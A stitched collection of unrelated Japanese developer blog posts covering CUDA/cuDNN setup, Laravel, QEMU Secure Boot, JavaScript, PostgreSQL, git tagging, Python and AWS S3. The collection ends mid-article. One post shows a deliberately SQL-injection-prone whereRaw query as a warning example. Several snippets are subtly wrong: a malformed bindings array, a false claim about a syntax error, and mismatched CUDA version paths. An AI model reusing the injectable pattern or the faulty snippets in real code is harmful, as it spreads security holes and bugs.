OmniAICreator/Qiita-1.07M huggingface dataset:
Ubuntu20.04にtensorflow,CUDA,cuDNNのセットアップ作業記録 cuDNN編

## この記事の内容
tensorflowで機械学習するために、tensorflowのバージョンに対応するCUDAとcuDNNをローカルでインストールした時の作業を記録した。

本記事はtensorflow 2.3.0を使用するために、CUDA10.1とcuDNN7.6のセットアップを行った。

#### 環境
Ubuntu 20.04
#### 参考サイト
https://codelabo.com/posts/20200229081221  
https://medium.com/@exesse/cuda-10-1-installation-on-ubuntu-18-04-lts-d04f89287130

## 本記事の構成
- 1:NDIVIAドライバーインストール編
- 2:[CUDAセットアップ編](https://qiita.com/TaiseiYamana/items/cbd0c3321a1f87466e8d)
- 3:[cuDNNセットアップ編](https://qiita.com/TaiseiYamana/items/c768750aa0eadff36407)

# cuDNNセットアップ編
ダウンロードサイト:https://developer.nvidia.com/cudnn  
事前にnvidiaのアカウント登録が必要。ダウンロードサイトのアーカイブからバージョンが選択できる。
![Screenshot from 2020-11-10 20-11-53](https://user-images.githubusercontent.com/54575368/98667736-2cdfe480-2392-11eb-9ffc-4dc61d8c5c1a.png)

# 1.cuDNN7.6の選択
![Screenshot from 2020-11-10 20-19-43](https://user-images.githubusercontent.com/54575368/98668018-99f37a00-2392-11eb-8057-48c505e09335.png)

- Download cuDNN v7.6.5 (November 5th, 2019), for CUDA 10.1
- cuDNN Library for Linux

# 2.tarファイルからセットアップ
[公式guide](https://docs.nvidia.com/deeplearning/cudnn/install-guide/index.html#installlinux-tar)を参考にし順次実行していく。
![Screenshot from 2020-11-10 20-31-31](https://user-images.githubusercontent.com/54575368/98668824-c52a9900-2393-11eb-9bc0-3bfa44c9fead.png)
## 2.1.解凍
```
$ tar -zxvf cudnn-10.1-linux-x64-v7.6.5.32.tgz
```
## 2.2.事前にインストールしたcudaにcudnnをコピーする
cudnnを`cuda/`か`cuda-<version>/`のどちらかにコピーする。公式ドキュメントには`cuda/`にしているが、`cuda-<version>/`と`cuda/`がリンクされているらしく`cuda-<version>/`にコピーしてもうまくいった。

```
# cuda-<version>/にコピーする場合 
$ sudo cp cuda/include/cudnn*.h /usr/local/cuda-<version>/include
$ sudo cp cuda/lib64/libcudnn* /usr/local/cuda-<version>/lib64
$ sudo chmod a+r /usr/local/cuda-<version>/include/cudnn*.h /usr/local/cuda-<version>/lib64/libcudnn*

# cuda/にコピーする場合
$ sudo cp cuda/include/cudnn*.h /usr/local/cuda/include
$ sudo cp cuda/lib64/libcudnn* /usr/local/cuda/lib64
$ sudo chmod a+r /usr/local/cuda/include/cudnn*.h /usr/local/cuda/lib64/libcudnn*
```
入れたCUDAのバージョンを`<version>`にいれてください。

# tensorflowのバージョンの変更に伴ってcudaとcudnnのバージョンを変更する場合
### 欲しいバージョンのcudaをインストールしcudaのパスを変更or追記
事前にCUDAをインストール。[CUDAセットアップ編](https://qiita.com/TaiseiYamana/items/cbd0c3321a1f87466e8d)を参照してください。

追記した場合、自動的に最適なCUDAのバージョンのPATHを選んで実行してくれるらしい。

参考:https://qiita.com/takeajioka/items/8737fab5cffbe0118fea　　

実際いろんなやり方が存在する。
~/.bashrcに記述したパスを変更する。

例

```
<変更前 10.1>
export PATH=/usr/local/cuda-10.1/bin${PATH:+:${PATH}}
export LD_LIBRARY_PATH=/usr/local/cuda-10.1/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}
<変更後 11.0>
export PATH=/usr/local/cuda-11.1/bin${PATH:+:${PATH}}
export LD_LIBRARY_PATH=/usr/local/cuda-11.0/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}
```

### cudnnの変更
#### `cuda-<version>/`にcudnnをコピーした場合
pcにロードされているcudaのバージョンを切り替えると自動的に変更後のcudaにコピーされているcudnnのバージョンに切り替わると思う。(まだやってないが)

#### `cuda/`にcudnnをコピーした場合

```
/usr/local/cuda/include  
/usr/local/cuda/lib64  
```
に変更前のcudnnが入っているので削除し、新たにダウンロードしたバージョンのcudnnを同様にコピーする。

```
$ sudo rm /usr/local/cuda/include/cudnn*.h
$ sudo rm /usr/local/cuda/lib64/libcudnn*
```
`cuda/`にコピーしてしまうとcuda変更時に削除作業が要求されるので、`cuda-<version>`にコピーしてcudaごと変更した方が便利かも知れない。
LaravelでArtisanコマンドのときだけの例外処理を実装する

Laravelでの開発が進んでいくと、独自のArtisanコマンドが増えていくと思いますが、コマンドの例外処理はどうすればよいでしょうか？

`app/Exceptin/Handler.php`に`renderForConsole`メソッドを実装することで、コマンド実行時の例外処理を追加することができ、コマンド実行の失敗をログ出力するなどの要件を実装することができます。

以下は、コマンドのときだけ例外時にエラー処理を記述する例です。

```php:app/Exception/Handler.php
<?php

namespace App\Exceptions;

use Domain\Exception\NotFoundException;
use Domain\Exception\PreconditionException;
use Domain\Exception\PrivateOfferException;
use Exception;
use Illuminate\Auth\AuthenticationException;
use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler;
use Illuminate\Http\Request;
use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
use Symfony\Component\HttpKernel\Exception\HttpException;
use Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;

class Handler extends ExceptionHandler
{
    ...省略...
    
    public function renderForConsole($output, Exception $e)
    {
        Log::error("{$e->getMessage()} | {$e->getTraceAsString()}");
        parent::renderForConsole($output, $e);
    }
    
    ...省略...
}

```
QEMUでゲストをSecure Bootする

`qemu-system-x86-64` ならびに `qemu-system-i386` でゲストOSをセキュアブートする手順です。

1. QEMUでUEFI起動するときに使うBIOS ROMであるOVMFで、セキュアブート対応になっているものをどこかから入手する。手っ取り早い方法は Fedora 33 などから抜いてくることで、例えば https://github.com/emojifreak/qemu-arm-image-builder/tree/main/OVMF-Fedora にある。Debian/Ubuntuのパッケージはダメダメで以下の手順では動かないからお勧めしない。自分でOVMFをコンパイルしなおす場合は [セキュアブートできるOVMFをソースからコンパイルする](https://qiita.com/kakinaguru_zo/items/f74bcfbf9f75d7e7a913) を参照。
2. 上記のgithubフォルダにある`OVMF_VARS.secboot.fd`はゲストごとにコピーを取って使う前提なのでコピーする。その上で以下のどちらかのようにqemuを起動する。KVMが使えるなら `-enable-kvm` も付ける。

* `qemu-system-x86_64 -machine q35,smm=on -global driver=cfi.pflash01,property=secure,value=on -drive if=pflash,format=raw,unit=0,file=OVMF_CODE.secboot.fd,readonly=on -drive if=pflash,format=raw,unit=1,file=OVMF_VARS.secboot.fd` (64bitゲストOS用)
* `qemu-system-i386 -machine q35,smm=on -global driver=cfi.pflash01,property=secure,value=on -drive if=pflash,format=raw,unit=0,file=OVMF32_CODE.secboot.fd,readonly=on -drive if=pflash,format=raw,unit=1,file=OVMF32_VARS.secboot.fd` (32bitゲストOS用)

ゲストOSがLinuxなら`dmesg` コマンドで `secure boot is enabled` とか `kernel is locked down` とか表示されます。

***

virt-manager を用いる場合、「インストールの前に設定をカスタマイズする」↓を選び、

![Screenshot from 2020-11-13 05-14-38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/259309/adc9fb09-15b9-4107-3240-21ea62d49ef0.png)

チップセットに「Q35」を選びます。Firmwareに何を選べば良いかはディストーションに依存して変わりますが、Fedora 33の場合OVMF_CODE.secboot.fdを選びます。2020年11月以降のDebian Bullseyeなら普通にovmfパッケージを入れてOVMF_CODE_4M.ms.fdを選べば正常にセキュアブートします。

![Screenshot from 2020-11-13 05-17-15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/259309/ff7ec6d8-6b1b-5813-8069-a2dd1a76e8b0.png)
【JS】指定回数繰り返すfor文を、非破壊処理に変換する方法。 ...Array(n).map()

ｎ回など、指定回数だけ処理を繰り返す場合にfor文を使うが、これを非破壊で記述する具体的な方法について。


##目次

1. [for文の場合](#for文の場合)
2. [for文を使わない場合](#for文を使わない場合)
3. [何をしてるか？](#何をしてるか)
    4.  [変数（res）](#1-変数res)
    5.  [[...Array(n)]](#2-arrayn)
    6.  [配列.map((_, i) => {処理}](#3-配列map_-i--処理)
7.  [繰り返すのみの処理（インデックス番号不要の場合）](#繰り返すのみの処理インデックス番号不要の場合)
8.  [参考リンク](#参考リンク)



<br>
##for文の場合
一般的なfor文の場合、以下のように`i < n`と`i++`で処理回数を指定する。

```js:for文の例
n = 5

for(i=0; i < n; i++){
    console.log("処理：" + i)
}
```

```:出力
処理：0
処理：1
処理：2
処理：3
処理：4
```


<br>
##for文を使わない場合
上記の処理をfor文を使わず非破壊処理で記述するには以下を使う。

・`変数 = [...Array(n).map()]`

スプレッド構文、Array, mapメソッドを使用する。

```js:非破壊処理の記述例
n = 5

const res = [...Array(n)].map((_, i) => 
   console.log("処理：" + i)
)
```

こちらも全く同じ結果が得られる。

```:出力
処理：0
処理：1
処理：2
処理：3
処理：4
```


<br>
##何をしてるか？

```js:
res = [...Array(n)].map((_, i) => {処理}
```

###1. 変数（res）
処理結果を代入する変数。何でもいい。

`...配列`のように、スプレッド構文で配列を展開する場合、別の変数に代入する必要がある。

`[...Array(n)]`だけの場合エラーになる。

```:エラー
Uncaught SyntaxError: Unexpected token '...'
```


<br>
###2. [...Array(n)]
これが核となる処理。


####2-1. Array( )
Array( )は新しいArrayオブジェクトを作成する処理。カッコの中にある値を`[ ]`で囲む処理となる。


<br>
####2-2. Array(整数)
Array( )の引数に整数を渡した場合、指定した数の**空の要素**が入った配列を作る。

※undefinedやnullではなく、完全に空(empty)となる。

```js:空の配列の例
console.log(Array(5))

//出力
[empty × 5]
```

例えば、整数に５を指定すると、emptyが5回繰り返される。
**この状態ではmapメソッドを使っても要素を取り出すことはできない**。

次の処理で、emptyをundefinedに変換する。


<br>
####2-3. [...Array(整数)]
スプレッド構文と[ ]を使うことで、**空（empty）をundefinedに変換**することができる。

まずは、スプレッド構文を使い、[empty × 5]のカッコを外す。この時点で、**要素にundefinedが入る**。

```js:emptyをundefinedに置き換える
console.log(...Array(5))

//出力
undefined undefined undefined undefined undefined
```

この処理に[ ]を付ければ、指定した数だけundefinedが入った配列が出来上がる。

```js:配列にする
console.log([...Array(5)])

//出力
[undefined undefined undefined undefined undefined]
```


<br>
###3. 配列.map((_, i) => {処理}
mapで配列の要素を一つづつ取り出し、**要素の数だけ処理を繰り返す**。

`.map(要素用の変数, インデックス番号用の変数)`

要素undefinedはどうでもいいので、明示的に「 _ 」とする

今回の処理はインデックス番号を使うので、第２引数でインデックス番号を格納する変数を用意する。（例ではiを使用）

これで指定回数分だけ処理を繰り返すことができる。



<br>
##繰り返すのみの処理（インデックス番号不要の場合）
実行する処理でインデックス番号が不要の場合はもっとシンプルに書ける。

```js:インデックス番号を使わない場合

const res = [...Array(n)].map( _ => 
   console.log("処理")
)
```




<br>
##参考リンク
for文を使わない方法は、今回使用した`[...Array].map()`以外にも再起処理を使うなどいくつかあります。

＞[[stack overflow] forを使わずに指定回数繰り返す方法（英語）](https://stackoverflow.com/questions/30452263/is-there-a-mechanism-to-loop-x-times-in-es6-ecmascript-6-without-mutable-varia/37417004#37417004)
【SwiftUI】WindowGroupを読む

#この投稿は何か？
SwiftUIフレームワークにおける`WindowGroup`について、[Apple Developerサイトのリファレンス](https://developer.apple.com/documentation/swiftui/windowgroup)を独自に翻訳・解釈したものです。

#WindowGroup構造体
形式的に構造化されたウィンドウをまとめたシーンです。

````Swift:WindowGroup構造体の宣言
struct WindowGroup<Content> where Content : View
````

アプリで表示されるビュー階層のコンテナとして`WindowGroup`を使用します。グループのコンテンツとして宣言した階層は、アプリがそのグループから作成する各ウィンドウのテンプレートとして機能します。

````Swift:アプリケーションに定義されたWindowGroup
@main
struct Mail: App {
    var body: some Scene {
        WindowGroup {
            MailViewer() // Declare a view hierarchy here.
        }
    }
}
````

SwiftUIはプラットフォーム固有の動作を扱います。例えば、SwiftUIをサポートしているmacOSやiPadOSでは、ユーザーはグループから複数のウィンドウを同時に開くことができます。macOSでは、ユーザーは開いているウィンドウをタブ付きインターフェイスにまとめることができます。また、ウィンドウグループは「標準的にウィンドウを管理するコマンド」を自動的に提供します。

グループから作成されたすべてのウィンドウは、状態が互いに影響しません。例えば、グループから新たに作成されたウィンドウごとに、システムはシーンのビュー階層によってインスタンス化された`State`または`StateObject`変数のための新しいストレージを割り当てます。

ドキュメントベースではないアプリケーションの場合、主なインターフェイスにはウィンドウグループを使用します。ドキュメントベースのアプリでは、`DocumentGroup`を使用します。
【PostgreSQL】ローカルのデータベースをダンプして本番環境へ移す

あまり記事がヒットせず少しハマったのでメモ

`PostgreSQL heroku ローカルDBを本番環境へ`などで検索すると、S3にデータファイルをコピーして、本番環境のサーバーでそれを読み込むみたいな手順がよく出てくるのですが、なぜかサーバー側からS3にアクセスできなかったりハマりました。。。

ローカルに作成したdumpファイルを利用して本番環境に反映できたのでその手順です

## ダンプ
まずはローカルのDB情報を取り出して保存します
（これダンプって言うの知りませんでした笑）

呪文が色々ありますが以下のようにターミナルに入力します

```
$ pg_dump  --no-acl --no-owner -h localhost -U ユーザー名 データベース名 > mydb.dump
```
ユーザー名が`hoge`、データベース名が`hoge_development`とかなら次のように入力します

```
$ pg_dump  --no-acl --no-owner -h localhost -U hoge hoge_development > mydb.dump
```
これでカレントディレクトリに`mydb.dump`というファイルが作成されます

## リストア
続いて本番環境に反映させます（リストアって言うらしい）
次のとおり入力するだけです

```
$ heroku pg:psql -a アプリ名 < mydb.dump
```
アプリ名が`hoge`の場合は次のように入力します

```
$ heroku pg:psql -a hoge < mydb.dump
```

うまくいってれば`Table`とかデータベースを作ってるっぽいログが出てきます
（ターミナルの履歴残ってなくて載せられない笑）

はいこれだけで終了です

これだけのために何時間かかかりましたね〜
コマンドたったの2行なのに、、、


是非参考にしてくださいな
リリースに伴うGitのタグの張り替えるシェル

# はじめに
リリースに伴うGitのタグ張り替えのシェルスクリプトです。
今回は、リポジトリには含めずに、```git clone```を実行するディレクトリにファイルを置くことを想定しています。
また、コミット管理用のタグとリリース作業時の切り戻し用のタグを扱う事を想定しています。

# スクリプト

```sh:update_tags.sh
#!/bin/sh

REPOSITORY=[リポジトリ名]
TODAY=`date '+%Y%m%d'`
ENV_TYPE=[環境（dev, stg, prod）]
SYSTEM_NAME=[システム名]
BRANCH=${SYSTEM_NAME}-${ENV_TYPE} # ブランチの命名規則に従います

cd ${REPOSITORY}
TAG_NUM=$(printf "%02d" "`expr $(git tag -l "${TODAY}*${BRANCH}" | wc -l | awk '{print $1}') + 1`")
# リリースしたコミットの管理用タグ
RELEASE_TAG=${TODAY}-${TAG_NUM}-${BRANCH} # タグの命名規則に従います　(YYYYMMDD-{採番}-ブランチ名)
# リリース作業の切り戻し用タグ
SWITCH_BACK_TAG=switch-back-${BRANCH}

# ローカルタグをリモートタグに強制的に上書きする
git pull -f origin ${BRANCH} --tag

## リリースしたコミット管理用のタグを追加
# ローカルタグ追加
git tag -a ${RELEASE_TAG} -m '' HEAD
# リモートタグ追加
git push origin ${RELEASE_TAG}

## 切り戻しタグの張り替え
# ローカルタグ削除
git tag -d ${SWITCH_BACK_TAG}
# リモートタグ削除
git push origin :refs/tags/${SWITCH_BACK_TAG}
# ローカルタグ追加
git tag -a ${SWITCH_BACK_TAG} -m '' HEAD
# リモートタグ追加
git push origin ${SWITCH_BACK_TAG}

cd ..
```
【Flutter】Android実機にインストールする

#### 1)

デバイスが認識されていることを確認。
認識されていなければこちらを実行します。 👉 https://qiita.com/nitaking/items/ec3191d3ca51980396bf

```bash
$ flutter devices

1 connected device:

ELE L29 (mobile) • XPH0219419007455 • android-arm64 • Android 10 (API 29)
````

#### 2)

flutterプロジェクトに移動します。
プロジェクトルートで以下を実行してください。
今回は`XPH0219419007455`にインストールします。

```bash
 $ flutter install -d XPH0219419007455

Installing app.apk to AOSP on IA Emulator...
Uninstalling old version...
Installing build/app/outputs/flutter-apk/app.apk...                 4.4s
````

無事インストールできたら完了です！

* * * 

##### インストールに失敗するとき

> flutter-apk/app.apk: Failure [INSTALL_FAILED_NO_MATCHING_ABIS: Failed to extract native libraries, res=-113]

このようなエラーが出る場合、端末間のバイナリデータの違いによってエラーになります（ぼんやり理解なので詳しくはよりお調べください）
以下の用に設定すれば実機インストール可能です。

```gradle
// android/build.gradle

android{
    ...
    defaultConfig{
        ...
        //Add this ndk block of code to your build.gradle
        ndk {
            abiFilters "x86", "arm64-v8a"
        }
    }
}
```

> refs:
https://stackoverflow.com/a/57848743/8023331
https://github.com/flutter/flutter/issues/31579
https://qiita.com/mkosuke/items/afa40c09078285034799
JSの配列操作関数からプログラム"言語"を学んでいると再認識した話

業務でGoogleAppsScriptを利用する機会があり、その延長でJavaScriptを勉強しています。
個人の経験としてC、C#、Javaなどは扱ったことがあるのですが、JavaScriptは未経験です。


#配列の操作関数
![配列アクセス.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/211061/0830d7f1-1fda-5cd7-f036-3cec87567bf4.png)

配列の要素にアクセスする関数を学びました。
簡単に表にまとめましたが、一番右の列に出てくるspliceを覚えると、
その便利さゆえにshiftやpopを使わなくて良いと思うかもしれませんね。

ただ、以下のような懸念があります。

●引数を最後まで読まないと、追加、削除、その両方をやりたいのかわからない。
●何でも出来るがゆえに、引数を間違えると、不具合の元になる。
　→数が増えれば、増えるほどコピペしたくなるし。
●（spliceに限りませんが）便利な関数ということは、入力パターンが増える。
　その分、開発もテストもしっかりしていないといけない。
　→脆弱性が見つかり、別の関数に置き換える必要が出て来た時に、影響範囲が大きくなる。

#プログラム"言語"ということを再認識
逆にshiftやpopを使った場合は、アクセス先が関数から読み取れるので、理解がしやすい。
これって、言葉の概念を学んだことに似ているなと思いました🐊

●概念を知らないと、説明やソースコードが長くなりがち。
●長い説明やソースコードは、"長くても筋が通っていて正確であること"が求められる。これは難しい。
●共通の概念を使うと、理解が速く正確になる。
（もちろん受け手もその概念を理解できないと、読み取るのにコストがかかるソースやドキュメントになる）
●自分が使い慣れた概念が、どこでも、誰とでもベストとは限らない。

いろいろなインプット、アウトプットをしていかないと、当然鍛えられないので、
背筋が伸びる思いでした🐊

#最後に
foreachが出て来た時に、「は？forで十分やんけ🐊」と思ってしまったのはないしょ。。。
vagrant up時に「default: SSH auth method: private key」で止まり、タイム・アウトする。

内容
---
vagrant up時に「default: SSH auth method: private key」で止まり、タイム・アウトする。
Windows10、vagrant + virtualbox環境

原因  
---
「Docker Desktop for Windows」をインストール時に「Hyper-V」という仮想化システムがインストールされ有効化された。
vagrant + virtualboxの環境のときは、Hyper-VがONのときは起動できないっぽい。

対策
---  
Hyper-V の無効化
「Docker Desktop for Windows」は使えなくなる。

参考
---
https://naoya.aja0.com/archives/724
whereRawで配列をバインドする方法

Laravelで`whereRaw`を使う際、`$bindings`を使用すればSQLインジェクションは起きません。

しかし、`$bindings`に配列を使用するとエラーが発生するためエラーが発生しない方法を考えてみました。



## 通常の使用方法

SQLインジェクションが起きる可能性がある使い方

~~~php
$user_id = 1;

$builder->select('name')
    ->from('person')
    ->whereRaw('user_id = ' . $user_id);
~~~



SQLインジェクションを回避するために`$bindings`を使用します。

正しい使い方

~~~php
$user_id = 1;

$builder->select('name')
    ->from('person')
    ->whereRaw('user_id = :user_id', ['user_id', $user_id]);
~~~



## 配列を使用した場合

配列を渡してみる。

~~~php
$user_ids = [1, 2, 3];

$builder->select('name')
    ->from('person')
    ->whereRaw('user_id in :user_ids', ['user_ids', $user_ids]);
~~~

実行した場合、`Array to string conversion at......`というエラーが発生します。



エラーが発生しない書き方

~~~php
$user_ids = [1, 2, 3];
$bindings = trim(str_repeat('?,', count($user_ids)), ',');

$builder->select('name')
    ->from('person')
    ->whereRaw('user_id in (' . $bindings . ')', $user_ids);
~~~

この書き方でエラーが発生しないと思います！
Reactのボタンでエンター長押しによる連続処理を防ぐ

# Reactのボタンでエンター長押しによる連続処理を防ぐ

## 概要
Reactのボタンでエンターキー長押しを行った際に、onClickイベントが連続して呼ばれる。
処理が完了するまで disable にする

```react
import React, {useState} from 'react'

const ExecButton = (props) => {
  const [isKeydown, setIsKeydown] = useState(false);

  // イベント発火
  const onEnter = () => {
    if (_.isFunction(props.onEnter)) {
      props.onEnter();
    }
  }

  // 
  const onKeyPress = (e) => {
    console.log(e.repeat)
    if (isKeydown === true) {
      e.stopPropagation()
      return
    }
    setIsKeydown(true)
    console.log(new Date().getTime(), e);
  }

  const onKeyUp = (e) => {
    console.log(new Date().getTime(), e);
    if (isKeydown === true) {
      onEnter()
    }
  }

  const onClick = () => {
    onEnter()
  }

  return <button {...props}
    onKeyPress={onKeyPress}
    onKeyUp={onKeyUp}
    onClick={onClick}
  >{props.children}</button>
}
```
import numpyで"sanity check"と"No module"のエラーが出る

#原因：
"sanity check"のエラーの問題はnumpyのversionが1.19.4であること。
"No module"のエラーの問題はnumpyの保存場所が違うこと。


#環境
Windows10
Python3.8.3
numpy1.19.4

#詳細
"RuntimeError: The current Numpy installation fails to pass a sanity check due to a bug in the windows runtime."のエラーはhttps://stackoverflow.com/questions/64654805/how-do-you-fix-runtimeerror-package-fails-to-pass-a-sanity-check-for-numpy-an
にあるように、バージョンを下げることで解決する。

コマンドで

```cmd
pip install numpy==1.19.3
```
とすると、パッケージが
c:\users\owner\appdata\local\packages\pythonsoftwarefoundation.python.3.8_qbz5n2kfra8p0\localcache\local-packages\python38\site-packages
に保存される。
このままではimportできずに、ModuleNotFoundError: No module named 'numpy'のエラーが出てしまうので、
numpyとnumpy-1.19.3.dist-infoのフォルダを
C:\Users\owner\AppData\Local\Programs\Python\Python38\Lib\site-packages
に移動させると正常に動作する。

確認用コード

```python:test.py
import numpy
print(numpy.__version__)
```

出力結果
1.19.3

※pipが通らない場合は、https://qiita.com/Noi1205/items/a2379a61e9dd9d4b87a2
を参照

2020/11/11
python3: bottle の使い方

フレームワーク bottle の使い方です。

Arch Linux でのインストール

```bash
yay python-bottle
yay python-jinja
```

Ubuntu 22.04 でのインストール

```bash
sudo apt install python3-bottle
```

プログラム

```py:greetings.py
#! /usr/bin/python
#
from bottle import route, run

@route('/hello')
def hello():
	str_out = "Hello World!<br />"
	str_out += "<blockquote>"
	str_out += "こんにちは。<br />"
	str_out += "</blockquote>"
	str_out += "Nov/11/2020<br />"

	return str_out
#
@route('/morning')
def morning():
	str_out = "Good Morning!<br />"
	str_out += "<blockquote>"
	str_out += "おはようございます。<br />"
	str_out += "</blockquote>"
	str_out += "Nov/11/2020<br />"

	return str_out
#
@route('/evening')
def evening():
	str_out = "Good Evening!<br />"
	str_out += "<blockquote>"
	str_out += "今晩は。<br />"
	str_out += "</blockquote>"
	str_out += "Nov/11/2020<br />"

	return str_out
#
run(host='localhost', port=8080, debug=True)
```

実行

```text
$ ./greetings.py 
Bottle v0.12.18 server starting up (using WSGIRefServer())...
Listening on http://localhost:8080/
Hit Ctrl-C to quit.
```

ブラウザーで　http://localhost:8080/hello にアクセス
![hello.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/d9ad79ed-5197-98d9-115a-89afdc89acad.png)

ブラウザーで　http://localhost:8080/morning にアクセス
![morning.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/349bec5f-b820-f1b5-8d8b-1a47db60f30e.png)

ブラウザーで　http://localhost:8080/evening にアクセス
![evening.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/f5ba0084-b223-7865-4acc-21175ac40b31.png)

次のバージョンで確認しました。

```bash
$ python
Python 3.10.4 (main, Mar 23 2022, 23:05:40) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import bottle
>>> print(bottle.__version__)
0.12.19
```
[Spring boot]環境変数から値を取得

```:application.properties
user.id=${env.ID:001}
user.name=${env.NAME:hogehoge}
```

```UserProperties.kt

package com.hogehoge.config.properties

import org.springframework.boot.context.properties.ConfigurationProperties
import org.springframework.stereotype.Component

@Component
@ConfigurationProperties(prefix = "user")
class UserProperties {
    lateinit var id: Number
    lateinit var name: String
}

```
保有スキルの可視化【継続】

<h1>はじめに</h1>
投稿時点の自身の保有スキルを確認・再認識するためにまとめました。

<h1>保有スキル</h1>
<b>[Windows]</b>
OS:
Windows Server 2012R2,2016,2019
タスク：
詳細設計、構築、インフラテスト、運用
基本的な設計やちょっとしたチューニング対応を含めた構築、運用まで対応可能
他に担当したシステム：
ActiveDirectory設計、構築、移行
WSUS設計、構築、運用
スクリプト作成（例：CSVからデータを読み込み対象ファイル・フォルダ検索とその結果出力、権限の強制リセット）

<b>[Linux]</b>
OS：
RHEL 6.5,6.7,7.2 ,CentOS: 6.5,6.7,7.2,8.2
タスク：
基本的な設計やちょっとしたチューニング対応を含めた構築対応が可能。運用経験無
他に担当したシステム：
DRBD+Pacemaker　冗長システム設計、構築
OpenStack(Liberty)　構築(PoC)
Zabbix構築
PXE+Syslog+Trap構築(PoC)

LinuC 2保有

<b>[VMware]</b>
OS：
ESX,VC 5.5,6.0,6.5,6.7,7.0
タスク：
基本的な設計やちょっとしたチューニング対応を含めた構築、運用
他に担当したシステム：
VDI(Citrix+VMware)

<b>[AWS]</b>
実務経験無
VDA,SAA保有

<b>[その他]</b>
DB系：
OSS-DB Silver保有
Oracle RAC設計、構築
DB2 (IBM製品のライセンス管理サーバ用に導入)
MySQL,MariaDB,PostgreSQL（検証）

NW系：
CCNA(失効)
L2設計、構築(Alaxala,Cisco)

ストレージ系：
操作経験レベル(VSP,NetApp,PureStorage)
設計、構築経験無

<h1>おわりに</h1>
抽象的過ぎて可視化できず。日を改めて修正します。
随時更新します。
Cygwinでpython conda

以下の記事を参考に設定しようとしたけどうまくイカなかったので調整。
https://qiita.com/iiou16/items/d4b6ddb03e06f527759b

機械学習やってる人はこういうのに慣れてない人も多いだろうなぁ。。。

## NGパターンの設定とCygwinでの応答
```bash:cygwin64/home/ユーザ名/.bashrc
ANA_PATH=/cygdrive/c/Anaconda3
export PATH=\$ANA_PATH:\$ANA_PATH/Library/bin:\$ANA_PATH/Scripts:$PATH
```

```sh
$ conda
command not found

$ python
-bash: /cygdrive/c/Users/ユーザ名/AppData/Local/Microsoft/WidowsApps/python Permission denied

$ which python
no python in (省略)
```

## OKパターンの設定
１行目：インストール位置を調整
２行目：バックスラッシュでのエスケープが不要

```bash:cygwin64/home/ユーザ名/.bashrc
ANA_PATH=/cygdrive/c/Users/ユーザ名/anaconda3
export PATH=$ANA_PATH:$ANA_PATH/Library/bin:$ANA_PATH/Scripts:$PATH
```
pip がインストールできないときの対処法

[wip]

#**環境**
Python 3.8.3
VS Code
Windows 10

#**背景**
最近入れなおしたPython&VS Codeでimport numpyなどが実行できない、pip installをしようとしてもエラーが生じる。

#**問題**
Pythonのインストール時にPathが通るはずだが、確認してみると、

#結論
環境変数にて新規にPATHを通す。（所要時間10分ほど）

確認用コード

```python:version_check.py
import os
print("PYTHONPATH:", os.environ.get('PYTHONPATH'))
print("PATH:", os.environ.get('PATH'))
```

出力結果

```txt:output
PYTHONPATH: NONE
PATH: C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files\NVIDIA Corporation\NVIDIA NvDLISR;C:\Users\owner\AppData\Local\Programs\Python;C:\Users\owner\AppData\Local\Microsoft\WindowsApps;C:\Users\owner\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\owner\AppData\Local\Programs\Python\Python38\Lib\site-packages;
```

PYTHONPATH: NONE
↑これが問題。

検索ボックスなどで"環境変数を編集"に移動し、"環境変数(N)..."を選択。システム環境変数(S)にて新規作成(W)...を押下する。
変数名(N)にPYTHONPATH
変数値(V)にC:\Users\owner\AppData\Local\Programs\Python\Python38\Lib\site-packagesを入力する。

変数値のownerとPython38は自分の環境に合わせて変更すること。


先ほどのコードを実行すると、
PYTHONPATH:C:\Users\owner\AppData\Local\Programs\Python\Python38\Lib\site-packagesとなり、pipが実行できる。

import numpyはエラーになるのままでimportできないので注意。別途記載。

2020/11/11
Pythonでgzipを直接S3へPUTする

### やりたいこと

* Oracleから取得したデータのCSV作成
* CSVをgzip形式に圧縮
* ファイルを直接S3へ保存

### サンプルコード

```lambda_function.py
import csv
import gzip
import io
import os
import boto3
import cx_Oracle

DB_HOST = os.environ.get('DB_HOST')
DB_PORT = os.environ.get('DB_PORT')
DB_USER = os.environ.get('DB_USER')
DB_PASS = os.environ.get('DB_PASS')
DB_SID = os.environ.get('DB_SID')

AWS_S3_BUCKET_NAME = 'hoge'

s3 = boto3.client('s3')


def lambda_handler(event, context):

    file_name = 'hoge.csv.gz'
    # oracle接続
    connection = cx_Oracle.connect(DB_USER, DB_PASS, f'(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST={DB_HOST}) (PORT={DB_PORT}))(CONNECT_DATA=(SID={DB_SID})))')
    with connection:
        with connection.cursor() as cursor:
            sql = 'SELECT * FROM hoge'
            cursor.execute(sql)
            # テーブルのカラム名称
            csv_header = [column_name[0] for column_name in cursor.description]

            bio = io.BytesIO()
            with gzip.GzipFile(fileobj=bio, mode='wb') as gzip_file:
                with io.TextIOWrapper(gzip_file, encoding='utf-8') as wrapper:
                    writer = csv.writer(wrapper, lineterminator='\n', quoting=csv.QUOTE_ALL)
                    writer.writerow(csv_header)
                    while 1:
                        csv_detail = cursor.fetchmany()
                        if len(csv_detail) == 0:
                            break
                        writer.writerows(csv_detail)
            bio.seek(0)
            s3.put_object(Bucket=AWS_S3_BUCKET_NAME, Body=bio, Key=file_name)

    return event

``` 

### まとめ
最初は `tmp` へファイルを作成してからS3へアップロードしていたのですが
`io.BytesIO` を利用することにより直接S3へPUTできました。
LinuC Level2(201/202)受験記

<h1>初めに</h1>
